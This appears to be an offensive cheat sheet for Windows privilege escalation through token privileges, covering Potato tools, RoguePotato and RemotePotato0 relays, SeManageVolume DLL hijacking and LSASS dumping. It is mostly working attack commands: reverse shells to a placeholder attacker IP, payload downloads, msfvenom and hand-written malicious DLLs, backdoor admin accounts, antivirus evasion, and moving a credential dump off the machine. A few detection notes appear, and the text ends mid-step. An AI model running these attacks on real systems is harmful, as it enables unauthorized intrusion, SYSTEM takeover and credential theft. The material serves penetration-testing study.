⚡ TokenPriv Operator
WINDOWS PRIVILEGE TOKEN ARSENAL // ALL VECTORS
@Mahdiesta v1.0
KALI_IP
PORT
RPORT
TARGET
USER
PASS
WPATH
DOMAIN
SVCNAME
🎯 The Access (PG Practice) box used SeManageVolumePrivilege → full C:\Windows write → DLL hijack via PrintNotify → SYSTEM. Most people skip it because it's not in standard checklists. This operator covers EVERY token privilege, common and exotic.
⚠️ DISABLED ≠ USELESS. A privilege listed as "Disabled" in whoami /priv can still be enabled programmatically. Never skip a privilege just because it shows Disabled - it can be enabled with a single API call.
📊 Complete Privilege Exploitation Matrix
Privilege Rarity Primary Attack Tool Result
SeImpersonatePrivilege COMMON Potato / PrintSpoofer GodPotato, PrintSpoofer SYSTEM
SeAssignPrimaryTokenPrivilege COMMON Potato family GodPotato, JuicyPotato SYSTEM
SeDebugPrivilege COMMON LSASS dump / token steal Mimikatz, procdump Creds/SYSTEM
SeManageVolumePrivilege RARE Full C:\ DACL → DLL hijack SeManageVolumeExploit.exe SYSTEM
SeBackupPrivilege RARE Read any file (NTDS.dit) diskshadow + robocopy Domain Hashes
SeRestorePrivilege RARE Write any file → utilman SeRestoreAbuse, reg manipulation SYSTEM
SeTakeOwnershipPrivilege RARE Take owner → ACL edit → write takeown, icacls, PowerShell SYSTEM
SeLoadDriverPrivilege RARE Load vuln kernel driver → exploit capcom/szkg64 + EOEP SYSTEM
SeTcbPrivilege RARE Act as OS → create SYSTEM tokens TcbElevation.exe SYSTEM
SeCreateTokenPrivilege VERY RARE Forge arbitrary token custom NtCreateToken code SYSTEM
SeSecurityPrivilege UNCOMMON Clear/read security event logs wevtutil, manual Log Clearing
SeCreateSymbolicLinkPrivilege UNCOMMON Symlink attack → file overwrite PowerShell symlink abuse Privesc
SeSystemEnvironmentPrivilege UNCOMMON Modify UEFI vars / boot path PowerShell + SetFirmwareEnv Persistence
Backup Operators (group) RARE SeBackup+SeRestore → NTDS.dit diskshadow, robocopy DA Hashes
DnsAdmins (group) RARE Load malicious DLL via DNS svc dnscmd /serverlevelplugindll SYSTEM on DC
Server Operators (group) RARE Modify service binpath sc config + nc SYSTEM
Print Operators (group) RARE SeLoadDriver → load vuln driver Capcom + exploit SYSTEM
💡 Quick check: whoami /priv → compare every line against this table. Even if Disabled - check if it can be enabled. Use PrivescCheck and winPEAS BOTH - they catch different things.
📋 Step 1 - Raw Privilege Dump
whoami /priv whoami /all whoami /groups
⚠️ Disabled privileges CAN be enabled! Never ignore them. Check every line.
🔎 Step 2 - Automated Scanners (Run ALL)
1
WinPEAS
.\winPEASx64.exe .\winPEASx64.exe quiet tokencheck
2
PrivescCheck (catches what winPEAS misses)
powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck -Extended -Report report"
3
PowerUp (services focus)
powershell -ep bypass -c "Import-Module .\PowerUp.ps1; Invoke-AllChecks"
4
Seatbelt (broader enumeration)
.\Seatbelt.exe -group=all
👥 Step 3 - Group Membership Check
net user %USERNAME% net localgroup net localgroup Administrators net localgroup "Backup Operators" net localgroup "DnsAdmins" net localgroup "Server Operators" net localgroup "Print Operators" net localgroup "Remote Management Users" net localgroup "Event Log Readers"
🟣 DnsAdmins, Backup Operators, Server Operators, Print Operators - all lead to SYSTEM. Check ALL of them.
🧠 Step 4 - Manual Token Analysis
# Check if token can be enabled powershell -c " [System.Security.Principal.WindowsIdentity]::GetCurrent() | Select-Object -ExpandProperty Groups | ForEach-Object { $_.Translate([System.Security.Principal.NTAccount]) } " # Check integrity level whoami /groups | findstr /i "mandatory" # Check for dangerous privileges in one grep whoami /priv | findstr /i "Se"
📡 Event IDs to Hunt (Blue Team awareness)
Event IDMeaningRelevance
4672Special privileges assigned to logonAny dangerous priv assigned
4673Privileged service calledSeDebug / SeTcb usage
4674Operation on privileged objectSeTakeOwnership, SeBackup
4656Handle to object requestedFile/reg access with backup semantics
7045New service installedSeLoadDriver kernel driver load
Who Has It
IIS (iis apppool\*), MSSQL (NT SERVICE\MSSQL*), LOCAL SERVICE, NETWORK SERVICE
Primary Attack
Potato family / PrintSpoofer
Result
NT AUTHORITY\SYSTEM
OS Coverage
All Windows versions (tool varies by build)
⚠ STEP 0 - FullPowers (Run FIRST if LOCAL/NETWORK SERVICE)
! LOCAL SERVICE / NETWORK SERVICE accounts have SeImpersonatePrivilege stripped at runtime by the SCM. Run FullPowers first to recover SeImpersonate + SeAssignPrimaryToken before running any potato.
1
Check current context and privileges
whoami whoami /priv
2
Transfer FullPowers
iwr http://{{KALI_IP}}:{{PORT}}/windows/FullPowers.exe -o {{WPATH}}\FullPowers.exe
3
Recover full privilege set
REM Interactive -- spawns cmd.exe with full default privileges: .\FullPowers.exe REM Non-interactive -- run command and exit: .\FullPowers.exe -c "{{WPATH}}\nc64.exe {{KALI_IP}} {{RPORT}} -e cmd" -z REM Extended privilege set (may fail on NETWORK SERVICE): .\FullPowers.exe -x
Flags: -c <CMD> custom command (default: cmd.exe) | -z non-interactive, spawn and exit | -x extended privilege set | -v verbose/debug
🗺 POTATO DECISION TREE - Pick the Right Tool
Check OS Build
Check Spooler
Pick Potato
🎯 SYSTEM
Win XP / Server 2003 (build <6000)churrasco.exe
Win7 SP1 (7601) / Server 2008 R2JuicyPotato (original) or MSFRottenPotato
Server 2012 / Win8 → Server 2012 R2 (9600)GodPotato-NET4 or JuicyPotatoNG
Win10 (15063-19041) / Server 2016-2019 (14393-17763)GodPotato (best) OR PrintSpoofer (Spooler must run)
Win10 20H2+ / Server 2019+ (17763+)GodPotato | JuicyPotatoNG fallback
Win11 / Server 2022 (build 22000+)GodPotato OR SigmaPotato
Spooler OFF?SigmaPotato OR SweetPotato -e EfsRpc OR SharpEfsPotato
No outbound?GodPotato | Avoid RoguePotato (needs socat on Kali)
LOCAL/NETWORK SERVICE? → Run FullPowers FIRST, then potato
!
Check OS build and Spooler status
systeminfo | findstr /i "OS Version" sc query spooler
!
Check .NET version (determines GodPotato variant)
reg query "HKLM\SOFTWARE\Microsoft\Net Framework Setup\NDP" /s /v Version 2>nul | findstr /i "version" REM .NET 4.x -> GodPotato-NET4.exe (try first) | .NET 3.5 -> NET35 | .NET 2.0 -> NET2
⚡ GodPotato - Best All-Round (Server 2012-2022, Win8-11)
SeImpersonate
RPC/DCOM trigger
SYSTEM token
CreateProcessAsUser
🎯 SYSTEM shell
1
Transfer GodPotato - select correct .NET variant
REM NET4 -- try this first: iwr http://{{KALI_IP}}:{{PORT}}/windows/GodPotato-NET4.exe -o {{WPATH}}\gp.exe REM NET35 fallback: iwr http://{{KALI_IP}}:{{PORT}}/windows/GodPotato-NET35.exe -o {{WPATH}}\gp.exe REM NET2 for very old targets: iwr http://{{KALI_IP}}:{{PORT}}/windows/GodPotato-NET2.exe -o {{WPATH}}\gp.exe
2
Verify - test with whoami
.\gp.exe -cmd "cmd /c whoami"
3
Execute - reverse shell
.\gp.exe -cmd "cmd /c {{WPATH}}\nc64.exe {{KALI_IP}} {{RPORT}} -e cmd" REM Optional named pipe override: .\gp.exe -cmd "cmd /c whoami" -pipe "mypipe"
Flags: -cmd <command> command to run as SYSTEM (required) | -pipe <name> override named pipe (optional). No CLSID selection needed.
🖨 PrintSpoofer - Win10 / Server 2016/2019 (Spooler must be running)
1
Confirm Print Spooler is running
sc query spooler REM Must show STATE: RUNNING -- if STOPPED, use GodPotato or SigmaPotato instead
2
Transfer PrintSpoofer
iwr http://{{KALI_IP}}:{{PORT}}/windows/PrintSpoofer64.exe -o {{WPATH}}\ps.exe
3
Execute
REM Interactive shell in current console: .\ps.exe -i -c cmd REM Spawn on desktop session ID (GUI session): .\ps.exe -d 1 -c cmd REM Non-interactive reverse shell: .\ps.exe -c "{{WPATH}}\nc64.exe {{KALI_IP}} {{RPORT}} -e cmd"
Flags: -c <CMD> command to execute (required) | -i interactive, attach to current console | -d <ID> spawn on desktop session ID. Requires Print Spooler (spoolsv.exe) running.
🥅 JuicyPotatoNG - Server 2019+ / Win10 20H2+
1
Transfer JuicyPotatoNG
iwr http://{{KALI_IP}}:{{PORT}}/windows/JuicyPotatoNG.exe -o {{WPATH}}\jp.exe
2
Execute - try both token methods
.\jp.exe -t * -p "C:\Windows\System32\cmd.exe" -a "/c {{WPATH}}\nc64.exe {{KALI_IP}} {{RPORT}} -e cmd" REM -t * tries CreateProcessWithTokenW AND CreateProcessAsUser REM Specify COM port if 10247 is in use: .\jp.exe -t * -p "C:\Windows\System32\cmd.exe" -a "/c whoami" -l 10247 REM Bruteforce CLSIDs if default fails: .\jp.exe -t * -p "C:\Windows\System32\cmd.exe" -b
Flags: -t <*|t|u> token method (* = try both, required) | -p <program> full path (required) | -a <args> arguments | -l <port> COM listen port (default 10247) | -c <CLSID> override CLSID | -b bruteforce CLSIDs | -i interactive (CreateProcessAsUser only)
🔺 SigmaPotato - Win8-11 / Server 2012-2022 (No Spooler needed)
1
Transfer SigmaPotato
REM Standard .NET4 build (Win8/Server 2012 to Win11/Server 2022): iwr http://{{KALI_IP}}:{{PORT}}/windows/SigmaPotato.exe -o {{WPATH}}\sigma.exe REM Core build (needs .NET Framework 3.5; supports PS Core reflection): iwr http://{{KALI_IP}}:{{PORT}}/windows/SigmaPotatoCore.exe -o {{WPATH}}\sigma.exe
2
Execute
REM Run arbitrary command as SYSTEM: .\sigma.exe "cmd /c {{WPATH}}\nc64.exe {{KALI_IP}} {{RPORT}} -e cmd" REM Built-in reverse shell: .\sigma.exe --revshell {{KALI_IP}} {{RPORT}}
3
PowerShell .NET reflection (fileless)
[Reflection.Assembly]::LoadFile("{{WPATH}}\SigmaPotato.exe") [SigmaPotato]::Main("cmd /c {{WPATH}}\nc64.exe {{KALI_IP}} {{RPORT}} -e cmd") [Reflection.Assembly]::LoadFile("{{WPATH}}\SigmaPotato.exe"); [SigmaPotato]::Main(@("--revshell","{{KALI_IP}}","{{RPORT}}"))
No Spooler dependency. Tested Win8-Win11 and Server 2012-2022. SigmaPotatoCore.exe required for PS Core / .NET Core reflection (target needs .NET Framework 3.5).
🍫 SweetPotato - EfsRpc / DCOM / PrintSpoofer Modes (Win7-Server 2019)
1
Transfer SweetPotato
iwr http://{{KALI_IP}}:{{PORT}}/windows/SweetPotato.exe -o {{WPATH}}\sweet.exe
2
Execute - EfsRpc mode (no Spooler needed)
.\sweet.exe -e EfsRpc -p {{WPATH}}\nc64.exe -a "{{KALI_IP}} {{RPORT}} -e cmd"
3
Other modes
REM DCOM mode: .\sweet.exe -e DCOM -p {{WPATH}}\nc64.exe -a "{{KALI_IP}} {{RPORT}} -e cmd" REM PrintSpoofer mode (default; Spooler required): .\sweet.exe -p cmd.exe
Flags: -e <DCOM|EfsRpc|PrintSpoofer> exploit mode (default: PrintSpoofer) | -p <prog> program | -a <args> arguments | -c <CLSID> override CLSID | -l <port> COM listen port (default: 6666)
🔑 SharpEfsPotato - EfsRpc / PetitPotam (No Spooler required)
1
Transfer SharpEfsPotato
iwr http://{{KALI_IP}}:{{PORT}}/windows/SharpEfsPotato.exe -o {{WPATH}}\sefsp.exe
2
Execute
.\sefsp.exe -p {{WPATH}}\nc64.exe -a "{{KALI_IP}} {{RPORT}} -e cmd" .\sefsp.exe -p C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -a "whoami | Set-Content C:\Users\Public\w.txt"
Flags: -p <prog> program (default: cmd.exe) | -a <args> arguments. Uses EfsRpcEncryptFileSrv - no Print Spooler dependency.
🌀 RoguePotato - Requires socat Redirector on Kali
! Requires outbound connectivity from target to Kali port 135. Needs socat port forwarder on Kali acting as remote OxidResolver. If target cannot reach Kali:135, use GodPotato instead.
1
Kali - Start socat redirector (port 135 → 9999)
sudo socat tcp-listen:135,reuseaddr,fork tcp:{{KALI_IP}}:9999
2
Kali - Start reverse shell listener
nc -lvnp {{RPORT}}
3
Transfer RoguePotato to target
iwr http://{{KALI_IP}}:{{PORT}}/windows/RoguePotato.exe -o {{WPATH}}\rogue.exe
4
Execute on target
.\rogue.exe -r {{KALI_IP}} -l 9999 -e "{{WPATH}}\nc64.exe {{KALI_IP}} {{RPORT}} -e cmd" REM Randomize pipe name (stealth): .\rogue.exe -r {{KALI_IP}} -l 9999 -e "{{WPATH}}\nc64.exe {{KALI_IP}} {{RPORT}} -e cmd" -z
Flags: -r <IP> Kali/redirector IP (mandatory) | -e <cmd> command to execute (mandatory) | -l <port> local RogueOxidResolver port (match socat target, e.g. 9999) | -c <CLSID> override | -z randomize pipe name
🍖 churrasco.exe - Windows XP / Server 2003 (Token Kidnapping) ↗ github.com/Re4son/Churrasco
! Legacy only - use on Windows XP / Server 2003 when modern potatoes fail. Requires NETWORK SERVICE or LOCAL SERVICE context. Kidnaps RPCSS process token.
1
Transfer churrasco (certutil - no PowerShell on XP/2003)
certutil -urlcache -f http://{{KALI_IP}}:{{PORT}}/windows/churrasco.exe {{WPATH}}\churrasco.exe certutil -urlcache -f http://{{KALI_IP}}:{{PORT}}/windows/nc.exe {{WPATH}}\nc.exe
2
Execute
.\churrasco.exe "{{WPATH}}\nc.exe {{KALI_IP}} {{RPORT}} -e cmd" REM Add admin user: .\churrasco.exe "net user hax0r P@ssw0rd1 /add" .\churrasco.exe "net localgroup administrators hax0r /add"
Usage: churrasco.exe [-d] "command" - -d optional debug. Works via RPCSS token kidnapping. Use nc.exe (not nc64.exe) on XP/2003.
🥔 LocalPotato (CVE-2023-21746) - NTLM Reflection, File Write Primitive
! Different mechanism - NOT standard token impersonation. LocalPotato uses local NTLM reflection for arbitrary file write as SYSTEM. SMB scenario patched Jan 2023 (KB5022282). HTTP/WebDAV variant unpatched as of early 2024. Combine with DLL hijack for code execution.
1
SMB mode - arbitrary file write as SYSTEM (patched, for unpatched targets only)
LocalPotato.exe -i C:\Users\Public\evil.dll -o windows\system32\evil.dll REM -i source file | -o destination (no drive letter, relative to C:\)
2
HTTP/WebDAV mode - unpatched
LocalPotato.exe -r 127.0.0.1 -u /webdavshare/potato.local
Use file write to drop DLL into hijackable path (e.g. StorSvc DLL hijack), then trigger for SYSTEM code execution. See decoder-it/LocalPotato for full chain.
📹 RemotePotato0 - Cross-Session DCOM Token Steal (antonioCoco)
! Requires two conditions: (1) A high-privileged user (e.g. admin/SYSTEM) is logged into a different session on the same machine. (2) You can run a NTLM relay on Kali (impacket-ntlmrelayx). Works on Win7-Win10/Server 2019 - not patched in the standard Potato mitigations.
SeImpersonate
DCOM activation
Coerce SYSTEM NTLM auth
ntlmrelayx intercepts
Relay to ldap/smb
🎯 Priv escalation
1
Kali - Start NTLM relay listener (relay to LDAP or SMB of DC)
sudo impacket-ntlmrelayx -t ldap://{{TARGET}} --no-wcf-server --escalate-user {{USER}} REM Alternative: relay to SMB if you want a shell sudo impacket-ntlmrelayx -t smb://{{TARGET}} -socks
2
Transfer RemotePotato0 to target
iwr http://{{KALI_IP}}:{{PORT}}/windows/RemotePotato0.exe -o {{WPATH}}\RemotePotato0.exe
3
Run RemotePotato0 - coerces SYSTEM auth to your relay
REM Standard: coerce DCOM activation to Kali relay on port 9999 .\RemotePotato0.exe -m 0 -r {{KALI_IP}} -x {{KALI_IP}} -p 9999 -s 1 REM -m 0 = method 0 (DCOM + coerce), -r redirector IP, -x our host, -p relay port, -s target session ID REM Check what sessions exist: qwinsta query user
4
Kali - Start socat redirector (RemotePotato0 needs port redirect on Kali)
sudo socat TCP-LISTEN:9999,fork,reuseaddr TCP:127.0.0.1:9999 &
5
ntlmrelayx captures SYSTEM NTLM hash or upgrades privileges
REM ntlmrelayx will show captured auth or confirm escalation REM LDAP relay: adds your user to Domain Admins or grants DCSync rights REM SMB relay: hash capture for cracking (hashcat -m 5600) or PTH
When to use: You have SeImpersonate on a domain machine AND another privileged session is active. Skips the Spooler/DCOM dependency of potato attacks. Requires outbound from target to Kali:9999. Methods: -m 0 (DCOM), -m 1 (WinRM), -m 2 (RPC).
🕉 RogueWinRM - Port 5985 Race (WinRM must be disabled on target)
! HARD REQUIREMENT: WinRM service must NOT be running on port 5985. RogueWinRM binds a fake WinRM listener on port 5985. When the Windows Remote Management service tries to start (or plugins authenticate), it connects to your fake listener - you capture SYSTEM credentials via NTLM negotiation and impersonate them. If WinRM is already running, port 5985 is taken and this fails.
1
Check if WinRM is running (port 5985)
netstat -an | findstr :5985 sc query winrm REM If RUNNING/LISTEN on 5985 -- this technique WILL NOT WORK; use a potato instead
2
Transfer RogueWinRM
iwr http://{{KALI_IP}}:{{PORT}}/windows/RogueWinRM.exe -o {{WPATH}}\RogueWinRM.exe
3
Start Kali nc listener
nc -lvnp {{RPORT}}
4
Run RogueWinRM on target - will listen on 5985 and run command as SYSTEM
REM Non-interactive reverse shell: .\RogueWinRM.exe -p "{{WPATH}}\nc64.exe" -a "{{KALI_IP}} {{RPORT}} -e cmd" REM Interactive (spawns cmd in current console, requires SeImpersonate): .\RogueWinRM.exe -p C:\Windows\System32\cmd.exe
5
Trigger: RogueWinRM waits for SYSTEM connection - force BITS/Update service to trigger auth
REM RogueWinRM may self-trigger by waiting; or force with: sc stop BITS && sc start BITS REM The BITS service calls WinRM on 5985 at startup → connects to your fake listener → SYSTEM token
Flags: -p <prog> program to execute as SYSTEM | -a <args> arguments | -l <port> override listen port (default: 5985). Tested on IIS AppPool \ (Win10, Server 2016/2019).
🔍 Detection
Event 4672 → SYSTEM logon with SeImpersonate • Event 4688 → new process from w3wp.exe/sqlservr.exe → cmd.exe/powershell.exe • Event 10016 DCOM activation from service accounts • Named pipe creation matching potato patterns • spoolsv.exe spawning unexpected child processes (PrintSpoofer) • Scheduled task creation by service accounts (FullPowers mechanism) • Port 5985 binding from non-WinRM process (RogueWinRM) • Unexpected outbound NTLM to external relay (RemotePotato0)
Who Has It
svc_mssql, backup services, domain svc accounts
Attack Chain
Volume DACL abuse → C:\Windows write → PrintConfig DLL hijack
Result
NT AUTHORITY\SYSTEM
Key Tool
SeManageVolumeExploit.exe (CsEnox)
🟣 This is the exact vector used on the Access machine (PG Practice). The exploit grants full permissions on C:\ to all users, then you drop a malicious DLL to be loaded by the PrintNotify service.
⚡ Full Attack Chain - Step by Step
SeManageVolumePrivilege
Run exploit.exe
C:\ DACL → Everyone:Full
Drop malicious PrintConfig.dll
Trigger PrintNotify
🎯 SYSTEM
1
Verify the privilege
whoami /priv | findstr SeManageVolume
2
Transfer SeManageVolumeExploit.exe from attacker
iwr http://{{KALI_IP}}:{{PORT}}/windows/SeManageVolumeExploit.exe -o {{WPATH}}\SeManageVolumeExploit.exe
3
Run the exploit - grants Everyone:FullControl on C:\
.\SeManageVolumeExploit.exe # Output: "Volume DACL overwritten successfully" # C:\ root is now writable by all users
4
Start nc listener on Kali FIRST
nc -lvnp {{RPORT}}
5
Generate malicious PrintConfig.dll on Kali
msfvenom -p windows/x64/shell_reverse_tcp LHOST={{KALI_IP}} LPORT={{RPORT}} -f dll -o PrintConfig.dll cp PrintConfig.dll ~/privesc-toolkit/windows/PrintConfig.dll # Place in http server windows/ dir # Serve it: python3 -m http.server {{PORT}}
BAK
💾 BACKUP - run this BEFORE placing the payload
copy "C:\Windows\System32\spool\drivers\x64\3\PrintConfig.dll" "{{WPATH}}\PrintConfig.dll.bak" 2>nul & echo [BAK] Saved original PrintConfig.dll
6
Drop the DLL to exact PrintNotify path (now writable after step 3)
iwr http://{{KALI_IP}}:{{PORT}}/windows/PrintConfig.dll -OutFile "C:\Windows\System32\spool\drivers\x64\3\PrintConfig.dll"
7
Trigger PrintNotify service via CLSID {854A20FB-2D44-457D-992F-EF13785D2B51}
$type = [Type]::GetTypeFromCLSID("{854A20FB-2D44-457D-992F-EF13785D2B51}") $object = [Activator]::CreateInstance($type) # Shell arrives on Kali listener as SYSTEM
↩ REVERT - one-liner restore (run after exploitation)
REM If original existed: restore it. If it was a ghost DLL (didn't exist): delete your payload. copy /Y "{{WPATH}}\PrintConfig.dll.bak" "C:\Windows\System32\spool\drivers\x64\3\PrintConfig.dll" 2>nul || del /F /Q "C:\Windows\System32\spool\drivers\x64\3\PrintConfig.dll"
DLL path must be EXACTLY: C:\Windows\System32\spool\drivers\x64\3\PrintConfig.dll - case-sensitive, no variation. Also: trigger AFTER the DLL is in place, not before. If you triggered too early, the Spooler process caches the path - use the tzres.dll or AddUser alternatives below instead.
Raw nc may receive garbled binary data when the DLL payload runs inside a COM-hosted process. The shell IS connecting but nc can't render Windows I/O correctly. Use msfconsole multi/handler instead of raw nc - see Alternative 1 below.
🔁 If nc receives garbled data - use msfconsole handler
💡Raw nc -lvnp sometimes gets binary garbage when shell_reverse_tcp runs inside a DLL loaded by a COM server. The shell connected - nc just can't handle Windows shell I/O. Replace nc with msfconsole multi/handler.
1
Kali - start handler (instead of nc)
msfconsole -q -x "use exploit/multi/handler; set payload windows/x64/shell_reverse_tcp; set LHOST 0.0.0.0; set LPORT {{RPORT}}; run"
2
Re-trigger from Windows (DLL is already in place)
$type = [Type]::GetTypeFromCLSID("{854A20FB-2D44-457D-992F-EF13785D2B51}") $object = [Activator]::CreateInstance($type) # OR if using tzres.dll path: systeminfo
🔁 Alternative 2 - AddUser DLL (most reliable - no network needed)
💡Instead of a reverse shell DLL, generate a DLL that adds a local admin user. No listener, no connection issues, no AV evasion needed. Then log in via evil-winrm, RDP, or impacket.
1
Kali - generate AddUser DLL
msfvenom -p windows/x64/exec \ CMD='cmd /c net user hacker P@ss123! /add && net localgroup administrators hacker /add' \ -f dll -o AddUser.dll cp AddUser.dll ~/privesc-toolkit/windows/AddUser.dll # Place in http server windows/ dir python3 -m http.server {{PORT}}
BAK
💾 BACKUP - run this BEFORE placing the payload
REM Backup whichever path you will use: copy "C:\Windows\System32\spool\drivers\x64\3\PrintConfig.dll" "{{WPATH}}\PrintConfig.dll.bak" 2>nul & echo [BAK] PrintConfig backup done copy "C:\Windows\System32\wbem\tzres.dll" "{{WPATH}}\tzres.dll.bak" 2>nul & echo [BAK] tzres backup done
2
Windows - download and place as PrintConfig.dll or tzres.dll
iwr http://{{KALI_IP}}:{{PORT}}/windows/AddUser.dll -OutFile "C:\Windows\System32\spool\drivers\x64\3\PrintConfig.dll" # OR place as tzres.dll for systeminfo trigger: iwr http://{{KALI_IP}}:{{PORT}}/windows/AddUser.dll -OutFile "C:\Windows\System32\wbem\tzres.dll"
3
Windows - trigger the DLL load
# For PrintConfig path: $type = [Type]::GetTypeFromCLSID("{854A20FB-2D44-457D-992F-EF13785D2B51}") $object = [Activator]::CreateInstance($type) # For tzres.dll path: systeminfo
↩ REVERT - one-liner restore (run after exploitation)
REM Restore whichever DLL you replaced: copy /Y "{{WPATH}}\PrintConfig.dll.bak" "C:\Windows\System32\spool\drivers\x64\3\PrintConfig.dll" 2>nul || del /F /Q "C:\Windows\System32\spool\drivers\x64\3\PrintConfig.dll" copy /Y "{{WPATH}}\tzres.dll.bak" "C:\Windows\System32\wbem\tzres.dll" 2>nul || del /F /Q "C:\Windows\System32\wbem\tzres.dll"
4
Windows - verify user created
net user hacker net localgroup administrators
5
Kali - log in as new admin
evil-winrm -i {{TARGET}} -u hacker -p 'P@ss123!' # OR: impacket-psexec hacker:'P@ss123!'@{{TARGET}}
🔁 Alternative 3 - tzres.dll + systeminfo trigger (full steps)
💡If the PrintNotify CLSID has already cached a bad DLL load and you can't restart Spooler, use the tzres.dll path instead. Triggered by running systeminfo - loads tzres.dll as SYSTEM.
1
Kali - generate tzres.dll payload (or reuse existing PrintConfig.dll)
msfvenom -p windows/x64/shell_reverse_tcp LHOST={{KALI_IP}} LPORT={{RPORT}} -f dll -o tzres.dll cp tzres.dll ~/privesc-toolkit/windows/tzres.dll # Place in http server windows/ dir python3 -m http.server {{PORT}}
BAK
💾 BACKUP - run this BEFORE placing the payload
copy "C:\Windows\System32\wbem\tzres.dll" "{{WPATH}}\tzres.dll.bak" 2>nul & echo [BAK] tzres.dll backup saved (file may not exist on all builds)
2
Windows - place tzres.dll (C:\ is already writable from exploit step)
iwr http://{{KALI_IP}}:{{PORT}}/windows/tzres.dll -OutFile "C:\Windows\System32\wbem\tzres.dll" # Verify it's there: Get-Item "C:\Windows\System32\wbem\tzres.dll" | Select-Object Length,LastWriteTime
3
Kali - start msfconsole handler BEFORE triggering
msfconsole -q -x "use exploit/multi/handler; set payload windows/x64/shell_reverse_tcp; set LHOST 0.0.0.0; set LPORT {{RPORT}}; run"
4
Windows - trigger: systeminfo loads tzres.dll as SYSTEM
systeminfo # Shell arrives on msfconsole as NT AUTHORITY\SYSTEM
↩ REVERT - one-liner restore (run after exploitation)
copy /Y "{{WPATH}}\tzres.dll.bak" "C:\Windows\System32\wbem\tzres.dll" 2>nul || del /F /Q "C:\Windows\System32\wbem\tzres.dll"
🔄 Alternative 4 - wbemcomn.dll + WMI trigger (wmiprvse.exe loads it)
wbemcomn.dll is a WMI component loaded by wmiprvse.exe (WMI Provider Host). Drop it into C:\Windows\System32\, then trigger any WMI call - systeminfo, Get-WmiObject, or sc query will all cause wmiprvse.exe to load your DLL as SYSTEM. This has NOTHING to do with iphlpsvc - that was an earlier documentation error.
1
Kali - generate wbemcomn.dll
msfvenom -p windows/x64/shell_reverse_tcp LHOST={{KALI_IP}} LPORT={{RPORT}} -f dll -o wbemcomn.dll cp wbemcomn.dll ~/privesc-toolkit/windows/wbemcomn.dll # Place in http server windows/ dir python3 -m http.server {{PORT}}
2
Kali - start reverse shell handler first (DLL may trigger immediately on drop)
msfconsole -q -x "use exploit/multi/handler; set payload windows/x64/shell_reverse_tcp; set LHOST 0.0.0.0; set LPORT {{RPORT}}; run"
BAK
💾 BACKUP - run this BEFORE placing the payload
copy "C:\Windows\System32\wbemcomn.dll" "{{WPATH}}\wbemcomn.dll.bak" & echo [BAK] wbemcomn.dll backup saved REM NOTE: wbemcomn.dll ALWAYS exists - this is a real system file. Backup is MANDATORY.
3
Windows - drop the DLL into System32 (requires C:\ write from SeManageVolumeExploit)
iwr http://{{KALI_IP}}:{{PORT}}/windows/wbemcomn.dll -OutFile "C:\Windows\System32\wbemcomn.dll"
4
Windows - trigger WMI to load the DLL (wmiprvse.exe runs as SYSTEM)
REM Any of these will trigger wmiprvse.exe to load wbemcomn.dll: systeminfo REM Or: Get-WmiObject Win32_OperatingSystem REM Or restart the WMI service (requires sc rights): sc.exe stop winmgmt && sc.exe start winmgmt
↩ REVERT - one-liner restore (run after exploitation)
copy /Y "{{WPATH}}\wbemcomn.dll.bak" "C:\Windows\System32\wbemcomn.dll" REM Then restart WMI: sc stop winmgmt && sc start winmgmt
🔁 Alternative 5 - Custom compiled DLL (no msfvenom - bypasses AV)
💡msfvenom DLLs are signatured by Defender. Compile a minimal DLL with mingw-w64 - either adds a user or runs nc64.exe. Much better AV evasion.
1
Kali - write the C source (AddUser variant - no network needed)
cat > /tmp/evil.c << 'EOF' #include <windows.h> BOOL APIENTRY DllMain(HMODULE h, DWORD reason, LPVOID r) { if (reason == DLL_PROCESS_ATTACH) { system("cmd /c net user hacker P@ss123! /add"); system("cmd /c net localgroup administrators hacker /add"); } return TRUE; } EOF
1b
Kali - nc64.exe variant (reverse shell, no msfvenom)
cat > /tmp/evil.c << 'EOF' #include <windows.h> BOOL APIENTRY DllMain(HMODULE h, DWORD reason, LPVOID r) { if (reason == DLL_PROCESS_ATTACH) { WinExec("C:\\Users\\Public\\Documents\\nc64.exe {{KALI_IP}} {{RPORT}} -e cmd", SW_HIDE); } return TRUE; } EOF
2
Kali - compile with mingw-w64
x86_64-w64-mingw32-gcc -shared -o PrintConfig.dll /tmp/evil.c -lws2_32 # Or for tzres path: x86_64-w64-mingw32-gcc -shared -o tzres.dll /tmp/evil.c -lws2_32 python3 -m http.server {{PORT}}
BAK
💾 BACKUP - run this BEFORE placing the payload
copy "C:\Windows\System32\spool\drivers\x64\3\PrintConfig.dll" "{{WPATH}}\PrintConfig.dll.bak" 2>nul & echo [BAK] Saved original PrintConfig.dll
3
Windows - upload nc64.exe first (if using shell variant), then DLL
iwr http://{{KALI_IP}}:{{PORT}}/windows/nc64.exe -o C:\Users\Public\Documents\nc64.exe iwr http://{{KALI_IP}}:{{PORT}}/windows/PrintConfig.dll -OutFile "C:\Windows\System32\spool\drivers\x64\3\PrintConfig.dll"
4
Kali - listener (use nc for the WinExec/nc64 variant)
nc -lvnp {{RPORT}}
5
Windows - trigger
$type = [Type]::GetTypeFromCLSID("{854A20FB-2D44-457D-992F-EF13785D2B51}") $object = [Activator]::CreateInstance($type)
↩ REVERT - one-liner restore (run after exploitation)
copy /Y "{{WPATH}}\PrintConfig.dll.bak" "C:\Windows\System32\spool\drivers\x64\3\PrintConfig.dll" 2>nul || del /F /Q "C:\Windows\System32\spool\drivers\x64\3\PrintConfig.dll"
Detection
DACL modification on C:\ root (Event 4670) • New DLL in C:\Windows\System32\spool\drivers\x64\3\ • PrintNotify service starting unexpectedly • Event 4674 on volume objects • SeManageVolumeExploit.exe process execution
Who Has It
Local Admins by default; developers; some service accounts
Primary Attack
Dump LSASS memory → extract plaintext creds / NTLM hashes
Alt Attack
Steal SYSTEM token via parent process injection (psgetsys)
Result
Plaintext creds OR NT AUTHORITY\SYSTEM shell
⚡ Vector 1 - LSASS Dump via procdump (safe, Sysinternals-signed)
1
Download procdump to target
iwr http://{{KALI_IP}}:{{PORT}}/windows/procdump64.exe -o {{WPATH}}\\procdump64.exe
2
Dump LSASS full memory (-ma = all regions)
{{WPATH}}\\procdump64.exe -accepteula -ma lsass.exe {{WPATH}}\\lsass.dmp
3
Exfiltrate dump to Kali - evil-winrm download or SMB
REM Inside evil-winrm session: download {{WPATH}}\lsass.dmp /home/kali/lsass.dmp REM Alternative: SMB exfil (Kali: impacket-smbserver share . -smb2support) copy {{WPATH}}\lsass.dmp \\{{KALI_IP}}\share\lsass.dmp
4
